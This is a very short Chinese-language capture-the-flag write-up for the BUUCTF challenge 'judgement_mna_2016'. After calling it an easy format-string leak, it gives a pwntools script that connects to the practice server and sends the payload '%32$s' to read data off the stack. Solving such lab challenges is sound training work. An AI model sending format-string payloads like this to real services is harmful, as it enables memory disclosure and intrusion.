典型的水题
就是简单的fmt一些,然后在泄露即可
from pwn import * #p=gdb.debug('./judgement_mna_2016','b *printf') #p=process('./judgement_mna_2016') p=remote('node3.buuoj.cn',28687) p.sendline('%32$s') p.interactive()